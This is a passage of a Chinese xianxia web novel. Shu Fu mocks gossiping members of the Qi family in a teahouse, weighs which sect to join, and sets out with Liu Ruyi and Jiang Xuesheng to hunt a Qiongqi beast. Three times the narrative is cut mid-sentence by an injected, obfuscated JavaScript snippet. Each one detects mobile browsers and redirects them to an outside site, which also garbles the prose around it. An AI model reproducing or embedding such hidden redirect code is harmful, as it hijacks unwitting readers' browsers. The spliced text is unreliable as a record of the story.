有个红衣少女坐在其间,一脸轻慢地嗤之以鼻,“同为女子,我可瞧不上这种伎俩。” 另一名少女笑道:“姐姐说的是。仗着四大宗门的名头,搬出这许多条件为难人,也不知是作给谁看。” 众人纷纷点头称是,其中有人拊掌赞道:“这不是齐家姑娘吗?果然深明大义,识得大体。什么玄玉宫,远不如我们齐氏女儿明白轻重。” 然后又是一番客套话、恭维话,你来我往好不热闹,茶楼里充满了快活的空气。 “……” 舒凫听得目瞪口呆,直翻白眼。 夭寿哦,人家只是让你们婚前闯个关,婚后对姑娘好点而已,咋就炸了马蜂窝呢?口风转这么快,一会儿捧到天上,一会儿踩到泥里,也不怕风太大闪了舌头。 唉,这届群众不行啊。 再说这两位齐家姑娘,踩一捧一、抬高自己的本事着实不差,倒很适合与姜宝珠做姐妹。 也不知自己撞了什么运,出了姜家又碰上齐家,这女主光环当真厉害得很。她甚至怀疑,如果自己环游修仙界一周,就可以像集卡游戏一样,集齐原著中所有有名有姓的角色。 “……呵呵。” 舒凫正想到此处,忽然只听见一声轻笑,清柔婉转如出谷黄鹂,又带着戏台上一唱三叹的悠长腔调,仿佛用羽毛在人心尖上轻轻挠了一下。 她第一次听见如此风情万种的“呵呵”,骨头不自觉地酥了半边,忍不住搁下笔循声望去。 只见靠窗的位置坐着一对男女,男的相貌平淡,神色温文,一看就是个好好先生的模样;那女子却堪称绝色,肤光胜雪,明眸善睐,不施脂粉便有一副倾国倾城的好相貌,而且气度高华,不似凡尘中人。 巧的是她也穿了一身水红色春衫,如云乌发松松挽起,斜插了一支做工精致的红玉簪,雪白的耳垂上挂着一对珊瑚耳坠。她身上深深浅浅的红色搭配得宜,一眼望去,有如天边一团云霞,又像是一树摇曳生姿的繁花。 齐家那红衣少女也算娇美,打扮得更是鲜亮,但与这女子一比,纵然不至于变成蚊子血,却也成了媒婆鬓边一朵大红花,俗艳得有些可笑。 那少女听见女子发笑,又恼恨她容貌压过自己,当下俏脸一翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310344|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这位道友,你笑什么?” 女子淡淡乜她一眼,信口敷衍道:“我想起高兴的事情。” 舒凫:“噗——” 这也太敷衍了吧! 尽管她极力克制,这一声喷笑仍然引起了少女注意,带着怒火的目光旋即扫来:“你又为什么笑?” 舒凫忙道:“我也想起高兴的事情。” “真的吗?我不信。” 少女一脸狐疑,“怎么可能这么巧,你们刚好一同想起高兴的事情?” “真的真的。” 对于发言堪比表情包的少女,舒凫选择以另一个表情包来回应,“你看,我满脸都写着高兴。” 少女:“……” …… 她们大眼瞪小眼,那说书人却不管台下风云变幻,讲完玄玉宫,自顾自翻过一页,又讲起了威名赫赫的“西方凌霄城”。 凌霄城根基深厚,如日中天,论实力、论势力,都是四大宗门中最强大的一派。 当代城主凌山海,人与名字一样霸气,修为深不可测,据说离飞升只有一步之遥,号称当世第一人。他膝下几个儿女俱已长成,都是年轻一辈中的佼佼者,前途无量;又有长老、护法、门生无数,遍布五湖四海,手眼通天。 盖因如此,凌霄城弟子行事无所顾忌,说好听些叫率性而为,说难听些就叫眼高于顶、飞扬跋扈,较之于凡间的王孙贵族也不遑多让。 尤其是小公子凌凤鸣,被父兄宠得无法无天,遇上一个和自己重名的修士都要发作,觉得对方冒犯了自己,配不上这个“凤”字。对方若肯乖乖改名便罢,若不肯,难免就要遭血光之灾。 一个名字尚且如此,胆敢和凌霄城作对的门派、修士,下场就自不待言了。 舒凫:这么厉害,一听就是个反派。 不去不去,划掉划掉。 相较之下,“北方天衍门”就要低调得多。 天衍门擅长卜算、阵法、符箓,毫不起眼,朴实无华,是个四平八稳的辅助门派。 他们虽然地盘很大,人手很多,技术能力也很强,但基本全年都窝在山沟沟里做研究,将技术宅贯彻到底,在四大宗门中算是个添头。 因为天衍门极少入世,过于低调,连见多识广的说书人都扒拉不出什么八卦可讲,只好讲了一段“天衍门开发护山大阵,用力过猛把山头变成一片海”的奇闻轶事,草草略过。 “……” 舒凫当年看文,被男女主感情线雷得怀疑人生,记忆深刻,对于其他支线剧情的印象就比较稀薄了。她不清楚四大宗门的前世今生,于是埋头默默记录,在“玄玉宫”和“天衍门”上画了个圈,又在“凌霄城”上打了个叉。 全女性门派,可以。 技术宅门派,可以。 反派,不可以。 不过,听那说书人的口气,玄玉宫远居海外,天衍门深居简出,收徒基本靠捡,入门基本靠蒙,也不会像九华宗一样定期组织招生考试。倘若运气不好,遇不上人引路,只怕也摸不着其中门道。 凌霄城倒是经常招募狗腿子,来者不拒,会舔就行,投奔者多如过江之鲫。 但好端端的,人为什么要做舔狗? 用排除法一一盘算下来,要想加入大宗门,好像还是只有九华宗一条路。 “唉……” 舒凫忧郁地咬着笔杆子,在心中百无聊赖地叹息。 连个门派选项都没有,这世界自由度好低,一点都不像她玩过的RPG游戏。 既然绕不开九华宗,那就只能另想办法,绕开原著中星罗棋布、异彩纷呈的迷惑剧情大赏了。 比起RPG,她觉得自己更像是穿进了一场扫雷,还是最高难度那种。地图大,雷又多,踩中一个炸一窝。 如果把笔给她,她要做的第一件事就是给原作改名,就叫《仙侠之地雷战》。 4. 相逢 九华宗之所以名“九华”,顾名思义,乃是因为门派内部分为九峰,分别以“北斗九星”命名,也就是在天枢、天璇、天玑、天权、玉衡、开阳、摇光七星之外,再加上洞明、隐元两颗隐星,并称九华。 其中,天枢峰为主峰,亦是掌门居所与门派核心所在。其余八峰各有一名掌峰坐镇,相当于门中长老,地位卓然。 相较于其他门派,九华宗胜在门风开放,平日里九峰各自为政,危难之际又会同气连枝,正可谓和而不同,暗合大道。 原著中的姜若水,正是拜入了其中第三峰——天玑峰掌峰,靖海真人门下。 平心而论,靖海真人不是什么坏人。但他却有一个毛病,那便是长年居于高位,顺风顺水,渐渐习惯了站在山巅俯瞰众生,非但不识弱者疾苦,还生出一种“何不食肉糜”的高傲冷漠。 对于备受欺凌的姜若水,他认为她“不善结交,不知自强”,“可怜之人必有可恨之处”,采取了放任自流的态度。 在他看来,这不过是些年轻人的小打小闹,姜宝珠等人不去为难别人,独独为难姜若水,其中必有原因,且由她们自行解决便是。 然而,待到姜若水走火入魔,打伤姜宝珠,靖海真人又第一个站出来,义正辞严地痛斥她心狠手辣、残害同门,连一点小小挫折都经受不起,心性脆弱至此,注定一生与大道无缘。 他有一句名台词:“上善若水,水善利万物而不争。姜若水,你心胸狭窄,斤斤计较,实在不配叫这个名字。” 舒凫读到这里,觉得真是好有道理的一番屁话。彼时她年轻气盛,差点被这段剧情气得生吃键盘。 ——姜宝珠只是欺凌你十几年,你却是忍无可忍还了手啊! 拜这样的师父,真是不如拜块叉烧。 这一次,她无论如何不会拜入靖海真人门下,还要往他那张大义凛然的脸上扔叉烧。 那说书人倒是对靖海真人十分推崇,好生吹捧了一番,又接着道:“靖海真人剑术精绝,但较之天璇峰的明潇真人,还是欠缺了一分火候。” “明潇真人?” 齐家的红衣少女笑道,“就是那位号称‘一剑霜寒十四州’的女剑修?她真有如此厉害,不是凭空杜撰?” 说书人点头道:“天璇一脉在门中地位颇高,仅次于天枢,掌峰自然是极厉害的。其余各峰中,又数摇光峰声名最盛,人才辈出。” 然后他又简单讲了讲其他几峰,诸如天权峰擅长炼丹,一粒仙丹能让凡人延寿数十年;玉衡峰精通法术,翻江倒海如同儿戏;洞明峰医术精绝,号称“起死人,肉白骨”;隐元峰最擅易容变化之法,在魔修大本营也能来去自如…… 其中最特别的,莫过于摇光峰。 据说,摇光峰掌峰——昙华真人主张“有教无类”,将许多资质不佳、脾性古怪、带有妖族血统,其他各峰不愿接纳的弟子收到门下,悉心指点,毫无藏私。 对此,有人怀疑他笼络人心,也有人嘲笑他“净捡些破烂货”。但碍于昙华真人修为精深,性情乖戾,又对门下弟子极其护短,谁也不敢当面造次。 时至今日,摇光峰已是人才荟萃,虽然一多半都是偏才、怪才,却在九华宗自成一隅,不容任何人轻侮小觑。 昙华门下,既无族类偏见,又无家世门第之别,堪称一方净土。 …… 一轮听罢,舒凫心中已有章程。她最有好感的,除了玄玉宫这个“天下第一娘家”,就是摇光峰这位捡破烂的。 在旁人眼中,如今的她多半也是个破烂。 她暗暗下定决心,只要有机会,一定要不顾一切往这两个地方去。 听完了故事,茶楼中的客人意犹未尽,又开始天南地北地闲谈,说着说着便谈论起了齐家那位声名鹊起的“玉轩公子”,大赞他是百年难得一遇的剑修天才,根骨清奇,惊才绝艳,一看就有天命加身。若他加入四大宗门,一定能够扶摇直上,成为呼风唤雨的一代大能。 某种意义上,他们确实没有说错——因为原著就是这么写的。 言谈间舒凫得知,齐家那红衣少女名为齐新蕾,另一人则是她的妹妹齐雨薇。论血缘关系,两人都算是男主齐玉轩的堂妹。 ……堂妹? 舒凫努力思索了一阵,依稀记得男主确实有几个姊妹,而且都不是什么正面角色。智商中等偏低,人品糊穿地心,作用主要是搞事情。 今日一见,果然名不虚传。 不过很可惜,关于这几个姊妹的具体人设和相关剧情,她就半点也想不起来了。 这也没办法,原著中恶毒女配太多,个个自带降智光环,仿佛生命中只有“追捧男主”和“坑害女主”两件大事,几乎是一个模子里刻出来的,她哪儿记得住? 根据她的观察,先不说齐雨薇,齐新蕾绝对是一个极其标准的恶毒女配,而且段位比较低,约等于宫斗文中第一个嗝屁的妃子。运气好的话,大概可以活三集。 与此同时,齐新蕾并不知道舒凫对她的定义,还在人群中夸夸其谈:“我若要找道侣,一定要找轩哥哥那样的人物。” 有人插话道:“听说他与姜家大小姐订了亲?这位小姐大门不出,二门不迈,也不知是何等人物。” 齐新蕾面色一僵,眼中流露出轻蔑神色:“长年累月地躲在深闺,不敢出来见人,想来也是个上不了台面的人物。姜家往来应酬,不也只带着二小姐吗?” “姐姐,可不好这样说话。” 齐雨薇语气温柔,说出的话却也没好听到哪儿去,“齐家素来重信,即便娶回一个手无缚鸡之力的娇小姐,也不能做那背信弃义之事。” 舒凫刚抿了一口茶,差点又给笑喷了。 这两位小姐到底年纪轻,自以为话术高明,其实话里话外酸劲儿浓得吓人,都快把她给呛着了。 舒凫一向心宽,并不将这些毁谤之词放在心上,不仅气定神闲、安之若素,甚至还多添了一碟茴香豆,有滋有味地听她们酸。 酸,接着酸。她就喜欢看别人又酸又得不到的样子,爽得很。 所谓的酸爽,就是别人负责酸,她负责爽。 众人听风是雨,一下就被齐小姐带起节奏,上赶着附和道: “姜二小姐清丽温婉,举止得宜,颇有大家风范。同样是姜家儿女,差别怎会这样大?” “我听二小姐说过,她姐姐脾气乖戾,一直对继母和妹妹心怀怨恨,连带着也恨上了父亲。唉,男人哪有不风流的,这大小姐也太不懂事了。” “就是,姜宗主和夫人伉俪情深,哪有一个小辈置喙的道理。她心存不满,怎么不收拾东西回童家去?” “嗨,瞧你说的。童家衰落至此,她还能回哪儿去啊。” “要我说,童家那位先夫人性烈如火,哪个男子受得了她?要不是齐、姜、童三家世交,也不会有这么一桩亲事。” “可不是么?” 齐新蕾神采飞扬,越说越有精神,“依我看,姜大小姐的脾气就是随了母亲。凭她这样的人品,如何配得上轩哥哥?我得为哥哥想想办法,不能让他和一个小心眼的妒妇结缘,免得贻害无穷。” 众人连声称是。 “……” 舒凫神色一凛,略微收敛了那副事不关己的笑容。骂人不及父母,这小姑娘嘴贱得有些过分了。 然而不等她开口,只听见“噗哧”一声,却是那红衣女子又憋不住笑出了声。 这一次舒凫看得真切,她一笑宛如春花初绽,容颜比不笑时更胜三分,说一句“勾魂夺魄”也不为过。旁边那男子似乎不大赞同,但还是摇着头随她去了。 齐新蕾两次被她打断,不由地心头火起,柳眉倒竖:“道友,你又在笑什么?” 女子面不改色,脱口仍是那句话:“我想起高兴的事情。” 齐新蕾不依不饶:“什么高兴的事情?” 女子头也不抬一下,只是慢条斯理摩挲着皓腕上一只玛瑙镯子,曼声道:“我师父生得俊,有个猴妖对他一见钟情,嚷嚷着要给他‘生猴子’。师父无奈之下,只好换上一副平凡面孔,告诉她‘我的美貌都是幻术’,这才说服她另觅良缘。你说好不好笑?” “噗。” 舒凫一个没忍住,也跟着笑了。 这次她不等齐新蕾发问,忙不迭地开口道:“也有妖怪要给我师父生猴子。” 齐新蕾一脸迷惑,在她们两人之间来回扫视几眼,不大确定地道:“你们的师父……是同一个人?” “是,是。” 红衣女子漫不经心地随口应道,旋即回过神来,一下又忍不住笑出声音,“不是。这小姑娘可爱得很,我倒是想替师父收了她。好好一个女孩儿,能说会笑的,落在你们这猴山一样的地方,未免太过可惜。” “不,这样说也不对……” 她眨了眨眼,目光缓缓从人群中扫过,故意一字一句地补充道:“猴子单纯肤浅,只知事物表象,却不会自以为是,故作高深。依我看,有些人还不如猴子呢。” “——要不然,他们又怎会连裤子也不穿,自己的洋相都没遮好,就得意洋洋地对别人指手画脚呢?” “你什么意思?!” “你说谁是猴子,找茬吧你!!” 这句话说得刺耳,当场就有人拍案而起。 齐新蕾听出她话里有话,面色一时间由白转红,又由红转青:“你——你在笑话我?” “齐小姐想岔了。我只说‘有些人’,哪里有一个字提到你?” “你明明在笑我!别以为我看不出来!” 舒凫也发现红衣女子笑点很低,就这么一会儿工夫,她细长优美的眼角都挂上了一滴清泪,显然是笑出来的。 当然,齐新蕾这副狼狈模样确实很好笑就是了。 一旁的男子实在看不下去,递了一方手帕给红衣女子。她一边接过手帕擦拭眼角,一边敛容正色道: “齐小姐,你要相信我。我在玄玉宫受过严格的教育,向来心如止水,喜怒不形于色,无论多好笑都不会笑……” 说到此处她一抬头,发现男子正以一副“你要不要脸”的表情注视着她,只好不情不愿地加了一句: “……除非忍不住。” “……” 齐新蕾被她睁眼说瞎话的深厚功底震惊,好一会儿才回过神来,“等等,你说你是玄玉宫的人?” “在下柳如漪,正是出身于玄玉宫。” 女子莞尔一笑,“小门小户,待价而沽,比不上齐家姑娘识得大体,见笑了。先生,我们走罢,别在这里污了人家视线。” 那男子摇头一哂:“你还怕污了人家视线?我看你厉害得很,都把人气得两眼发黑了。” 他口中这么说着,却还是放下茶钱,与柳如漪一道迤迤然走出茶楼。 也不知怎么,就在两人迈过门槛的瞬间,舒凫只看见柳如漪袖角一卷,那些饶舌客人面前的茶杯、餐盘便悉数跳将起来,精准无误地扣了他们一脑门。还有几个最为口无遮拦的,则是整个人平地飞起,大头朝下,“砰”地穿过窗户翻了出去。 少顷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310345|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外传来一阵肆无忌惮的清朗笑声: “哎哟不行,我忍不住了,那个小丫头真的太好笑了!这里酸一句,那里踩一脚,见识和心眼只有针尖大,指点江山的派头倒是不小。你可瞧见她谈论明潇的神气?明潇一只手也能放倒靖海,天下第一剑修非她莫属。那丫头明明自己也是女子,瞧她神色,却分明看不上出色的女修,也不知是什么毛病……” “如漪,少说两句吧。” 男子恬淡的声音也随风飘来,“对于这样的人,你多看她一眼,那就是你输了。” 柳如漪:“唉,可我就是忍不住啊。我还用留影石录下了她方才的表情,你看看,好不好看?” 男子:“不必了。你也该提升一下自己的品味,不要什么东西都收藏。” 齐新蕾:“……” 她也被糊了一脸点心,眼皮上结结实实粘着两个芝麻汤圆,一时间脸色发青,脚步踉跄,要不是有她妹妹扶着,只怕当场就要厥过去了。 舒凫一手捂嘴一手捂肚子,差点笑得滚到桌子底下去。 当然她也没忘记正事,笑完就跟一条鱼似的溜出了茶楼,一眼在人群中捕捉到柳如漪光彩照人的倩影,扬声喊道: “柳道友,请留步!” 柳如漪闻声转头,唇角扬起一点笑意:“这不是方才的姑娘么?特意追上我们,有何指教?” “指教不敢当。” 舒凫一本正经地拱手,“我有心拜入玄玉宫门下,不知道友可否引路。” “哦?这倒奇了。” 柳如漪目光闪烁,“方才在茶楼中,众人都对玄玉宫十分不屑,对凌霄城满心向往。怎么你却是反着来的?凌霄城弟子要风得风,要雨得雨,一个个风光无限,资源、机遇一样都少不了,不好么?” 这话说的,倒像是要考校她的心性了。 舒凫没想到她有此一问,倒也不慌,坦坦荡荡地如实回答道:“刚才在茶楼里,我明明白白听见,旁的修士若是也叫‘凤’,就会被凌凤鸣和他的父兄百般打压,只能改名叫鸡、鸭、麻雀,博凌公子一笑。敢问道友,此话当真?” “……” 柳如漪眉尖微微一动,隐约浮现出几分讥诮之色,“自然是真的。你若不信,且往外头去问问,什么王野鸡、赵白鸭、孙雀儿,那可是多得很呢。也有些不肯就范的,若有大宗门庇护还好,若没有,这一辈子的仙途也就毁了。” “那就对了。若此事当真,那我只有一句话讲。” 舒凫深吸一口气,提高嗓门道,“凌霄城视他人如禽兽,我看他们禽兽不如。” 她是个爆脾气,再加上容易入戏,每次看文都要把反派辱骂个千八百遍。凌霄城作风如此霸道,几乎不将小修士当人看,她在茶楼里憋了老半天,因此这会儿骂起人来,完全发自真心,情感充沛,那叫一个水到渠成。 柳如漪“噗”地笑出声来:“好一个禽兽不如!” 与她同行的男子眉目温和,见状也跟着好脾气地笑了一笑,轻声叹道:“如漪损人的功夫已是一绝,你小小年纪,倒也伶牙俐齿。若是你们结成一路,只怕能把天下人都骂到……” 他稍作斟酌,选择了一个最妥帖的字眼:“骂到自闭。” “凌霄城横行多年,早该被人骂一骂醒醒脑子。要不是看在掌门的面子上,我不光能骂到他们自闭,还能骂到他们自刎。” 柳如漪不以为然,忽而破颜一笑,俯身在舒凫头顶上揉了一把,“我看这小姑娘根骨不凡,心性上佳,骂人也骂得挺带劲儿,正合我的胃口。不如这一程就带上她,如何?” “你高兴就好。” 男子口中这么说着,但并无勉强为难之色,从容不迫地向舒凫见礼道,“在下姓江,表字雪声,是如漪的……朋友。还未请教道友姓名?” “我……” 舒凫略一犹豫,随即坦然道,“我叫舒凫。‘凫’便是‘水鸟’之意,我父母从来没想着让我当凤凰,只要舒服一生就行,也省得凌公子大张旗鼓逼我改名了。” “舒服一生,你父母倒看得通透。” 柳如漪慨叹一声,又收起笑容正色道,“舒姑娘,我们这一趟来到青城,其实是为了擒捉一只妖兽。” 舒凫:“妖兽?” 柳如漪:“不错。你意下如何?若是不怕,不妨和我们一起走一遭。待事成以后,我自会带你去你想去的地方。” 舒凫眼中一亮,当即一口应诺下来:“我亟需历练,自然不怕。不知是何种妖兽?” 江雪声沉吟片刻,像是唯恐吓着小朋友,一字一顿缓缓道:“‘四凶’之一的穷奇,道友可曾听过?” 舒凫不由地一怔。 她对妖兽并不熟悉,最多也就是在《山海经》里一目十行地看过,知道名字而已。 但对姜若水来说,这个名字却是再熟悉不过的梦魇。 ——姜若水的生母童瑶,正是在讨伐穷奇一战中豁命血战,以至于伤重陨落。 同样是在那一战中,童氏一族死伤惨重,一蹶不振,成为了姜若水一生悲剧的开端。 透过姜若水的记忆,舒凫清楚看见,当年穷奇已被童瑶拼着最后一口气挥剑斩杀。不过短短数年,怎么会又冒出来一只? 原著可没写这个啊! 舒凫发现,自己的剧情外挂有些不够用了。这个世界的全貌,或许远比原著百万字的描写更为广阔。 但入门机缘要紧,她不过略一踌躇,很快便下定决心:“我知道。实不相瞒,穷奇与我也有一段因缘,愿尽绵薄之力。” 5. 挖坑 妖兽之祸,在青城一带由来已久。 舒凫对“穷奇”这东西不大了解,只知道当年除妖一战极其惨烈,童瑶陨落,童氏衰微,原主也因此吃了不少苦头。 姜若水的处境,大约有一半是拜穷奇所赐,另一半是因为姜家傻缺。 至于其他的,她就完全两眼一抹黑了。 就这样,舒凫怀揣着一肚子疑问,一边随着江柳二人走过街头,一边在市井喧嚣中听他们讲完了来龙去脉。 …… 穷奇第一次作乱,大约是七八年前的事情。 当时,以青城一带为中心,齐、姜、童三大地方修仙世家呈鼎立之势,各自据守一方,井水不犯河水。三大世家间关系和睦,从无越界之举,也从未因争夺资源或势力范围而发生冲突,一时传为佳话。 就在这样歌舞升平、一团和气的氛围中,妖兽“穷奇”——一头背生双翼的猛虎突然出现,从童家领地掳走了一名百姓。 童家急公好义,听说有妖兽作乱,当即派出弟子寻找巢穴,却如同石沉大海,没有半点回音。 直到数日以后,才有弟子在郊外发现了一地血迹,以及一块破碎的童氏腰牌。 童氏族长震怒,发誓要报此血仇——然而并没有什么用。 因为,他们根本找不到穷奇。 要知道,这妖兽看着高调,其实十分神出鬼没,每隔一段时间就来城里叼人,叼了就走,走着走着就断了踪迹,半点气息也没留下,好像凭空蒸发一般。 童家一连几次扑了个空,连妖兽的影子都没看见,不仅颜面扫地,还不得不日夜面对遇难者家属的哭喊责难。 据说穷奇“状如虎,好食人”,被它掳走的人音讯全无,生不见人,死不见尸,显然是祭了妖兽的五脏庙,连一点骨灰都没有留下。 摊上这样的事情,又有谁能保持冷静呢? 更可怕的是,这穷奇越吃越上瘾,越吃越来劲儿,起初一次只掳走一人,之后索性一户一户往窝里端,把方圆百里都当成了自己的储备粮。 随着时间推移,它的妖力、体格逐渐增长,一开始只比普通的老虎略大一些,到后来足有一头大象那么高,而且铜皮铁骨,寻常修士根本不能伤它分毫。 终于有一天,已经成长为庞然巨物的穷奇闯入童家,口吐烈焰,连烧带杀,把好好一片乐土搅得天翻地覆。不过顷刻之间,亭台楼阁付之一炬,火光和血色映红了半边天空,景象宛如人间炼狱。 值此危难关头,偏偏齐氏族长正遇上罕见的大天劫,一干弟子被劫雷波及,劈了个七荤八素,自顾不暇;姜氏声称“族长闭关,无人做主”,说什么都不肯出手相助。 童家孤立无援,只能举全族之力拼死一战,最终落得个两败俱伤、人丁凋敝的下场。 童瑶心系族人安危,独自驰援,然后再也没有回来。 …… “自那以后,童家也不知遭了什么殃,陆陆续续遇上不少灾祸,就这样一蹶不振,渐渐地没了声息。” 柳如漪轻叹一声,原本明亮的神采有些黯淡,“童氏一门性情刚烈,宁折不弯,童瑶更是其中翘楚。若有可能,我倒想与她交个朋友。” ——性情刚烈,宁折不弯。 舒凫把这八个字含在舌尖上品了一圈,又想起孤光霸道的剑势,心中对这位从未谋面的“母亲”生出了一点敬意。 只可惜她虽然继承了孤光,却无法运用自如,总归还是差了那么一层意思。 “但是,穷奇已经死了不是吗?” 两人的讲述告一段落后,舒凫立刻提出心中疑问,“你们说要擒捉穷奇,这又是怎么回事?” “不错。当年为祸一方的穷奇,的确已死在童瑶剑下。” 柳如漪微微颔首,“不过,就在最近数月间,青城一带再次出现了‘妖兽掳人’的传闻。听人描述,那妖兽的外形与穷奇一模一样,只是体型较小,似乎尚未长成。” 舒凫听得皱眉:“姜、齐二家呢?童家不成了,他们也不管吗?” “齐氏族长一脉都是剑痴,不问世事,整日里除了修炼冥想,就是与高手论剑。至于旁支……” 柳如漪语带讥诮,形状姣好的唇角一弯,无端显出几分冷艳来,“旁支是什么模样,你也都看见了。” “……” 回想起齐新蕾的“风姿”,舒凫又想翻白眼又想笑,一时竟不知该摆出什么表情。 “也就是说,齐家上层都是铁憨憨,不管事儿。底下一群乌合之众搞事情,也没人管。” 她将齐家的情况消化了一下,言简意赅地总结道,“上梁棒槌下梁歪,迟早要完。” “差不多吧。” 柳如漪深以为然地点点头,仿佛想起什么似的,又在后头轻飘飘地缀了一句,“姜家么,不提也罢。” 舒凫眨了眨眼睛,觉得她说这句“不提也罢”的时候,神气像是在说“我不是针对谁,我是说你们全家都是垃圾”。 江雪声还是一副好脾气的模样,慢声细语地解释道:“姜氏重利。除非有人重金相求,否则他们也是不管事的。” 舒凫:“……” 这到底是修仙世家,还是收保护费的地头蛇? “正因为姜、齐二家指望不上,我们才会走这一趟。” 江雪声顿了顿,接着温声说道,“当年童氏一战极为惨烈,我们有所耳闻,多年来一直记在心上。前些时日,我们在云游途中听见传闻,便一同过来看看,也好为地方除去一害。” 柳如漪语气轻松:“听传闻所说,这‘穷奇’多半是个幼崽,没什么好怕的。只要找到它的巢穴,凭我们二人之力,应当不难对付。” “……” 舒凫安安静静地听着,面色不改,心底里暗搓搓地算了笔账。 如果擒获穷奇,既能行侠仗义、为民除害,又能为原主报一箭之仇,还能获得加入四大宗门的推荐信,可谓一石三鸟。 有熟练工带队,作为新手任务来说,难度也不算很高。 舒凫心下一盘算,觉得自己间接领了童瑶不少恩情,于情于理,合该跟他们走这一趟。 柳如漪对此十分欢迎,江雪声也没有异议,事情就这么愉快地决定了。 “最近一次有人目睹穷奇,是在城南的‘藏木林’附近。据说,当年穷奇无故消失,也都是发生在藏木林一带,林中或许另有玄机。” 江雪声细细叮嘱,周详得几乎有些琐碎,“入夜以后,我们便往林中一探究竟。舒道友,藏木林有瘴气弥漫,这几丸清心丹你先拿着,以备不时之需。” 舒凫也不推辞,接过药瓶说了声谢。 江雪声又道:“穷奇秉性凶悍,你根基不深,最好多准备几样护身的法器。青城有几家铺子,品质、做工都很不错,款式也新颖,我瞧着像是女修会喜欢的。如漪,你且带她去看看。” “知道了,还是先生考虑周到。” 柳如漪懒洋洋地打了个呵欠,扯住舒凫一幅衣袖就拉着她走,“你这小姑娘什么都好,就是打扮太素净,看着清汤寡水的。走,我给你好好拾掇拾掇。” “这怎么好意思……” 舒凫一句客气话刚出口,人已经被拉出半条街,也只好由着她去了。 …… 江雪声所说的店铺,位于青城最为热闹繁华的城西一带,有几分像是现代的购物街。 舒凫生怕芳菲担心,便首先折回客栈一趟,向她说明事由,再三嘱咐她留在客栈中安心等候,千万不可跟来。毕竟谁也不知道,原著中的悲剧会不会应在别处。 只要自己通过这次考验,到时候将芳菲一起带上,哪怕芳菲不能入门修行,至少也能保证她衣食无忧。 然后,她便随着柳如漪来到了这里。 柳如漪显然已在城中逛过一圈,熟门熟路地领着她进了铺子,潇洒地一挥衣袖:“随便看,就当我送你的见面礼。” 舒凫连忙摆手:“我还有些积蓄,不必……” 话音未落,忽然有道尖利的女声响起,钢刀似的从她耳膜上刮过:“哟,这不是玄玉宫的高徒吗?你们泱泱大派,也来我们这种小地方买东西?” “……” 舒凫一手揉着耳朵,老大不情愿地扭头望去。 也不知该说是“冤家路窄”还是“不出所料”,一袭红衣如火的齐新蕾站在她面前,尖下巴高高扬起,双眼流转睥睨,仿佛要端出一副俯瞰众生的派头来。 只不过她有些用力过猛,单瞧这架势,不像睥睨天下,倒像是要用下巴尖儿扎死人。 这姑娘心理素质真好,舒凫想。 要是换了她,刚在茶楼中被柳如漪戏弄过一回,这会儿肯定没法把下巴抬这么高。 看齐小姐的模样,多半是在哪里找回了优越感,所以自动清空半个时辰前的屈辱记忆,重新变得高高在上起来。 果然,她下一句话便是:“轩哥哥听说我不快活,就带我来铺子里挑几样法器。他让我不必在乎银钱,拣最贵的买。” 说完还从鼻孔里“哼”了一声,就差把“我有哥哥,你有吗”这句话写在脸上了。 哦,敢情是找男主诉过苦了。 舒凫一边感叹“这男主还挺中央空调,对每个妹妹都这么好”,一边笑眯眯地冲她点头:“知道了,你逛你的便是。大家萍水相逢,不用这么客气,买个东西还一一向我汇报。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310346|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 齐新蕾一口气噎在喉头:“你……” 舒凫也不等她发作,一手拉着柳如漪的袖口,自顾自低头去看货架:“柳道友,你看这是什么?” “火纹玉的镯子。品相一般,不值什么钱。” 柳如漪如数家珍,葱白指尖从各色货品上一一点过,“要买镯子的话,你不如瞧瞧这个。上好的昆仑玉,碧沉沉的,像是截了一段溪水缠到手腕上。这玉镯还有清心静气的功效,你摸一摸,是不是凉冰冰的?” 舒凫被她说得有些心动,刚要抬手触碰,却见一只手从旁伸出,不由分说地捞走了那只玉镯。 “老板,这个我要了。” 齐新蕾嗓音脆亮,末了还得意地瞥她们一眼,“你尽管开价,我付得起。你在青城做生意,总不会不认得我吧?” 得,这是铁了心不让她们买东西了。 根据舒凫的阅读经验,恶毒女配一般都有个“送人头”属性,百分百会来主角面前跳,跳完就被拍扁在地上,爬都爬不起来。看来在这个世界,这条规律也在照常运转。 唉,这又是何苦呢。 舒凫倒也没怎么生气,她们和齐新蕾相看两厌,变着法儿恶心对方都很正常。她们狠狠恶心了齐新蕾一把,礼尚往来,齐新蕾自然也能恶心她们。 这种事没什么道理可讲,就看谁魔高一丈。只要你的招数比对方更恶心,让对方更难受,那就算是赢了。 要论这一点,舒凫一向很有自信。 她飞快地和柳如漪咬了会儿耳朵,然后互相一点头,转身去了隔壁另一家稍小的店铺。 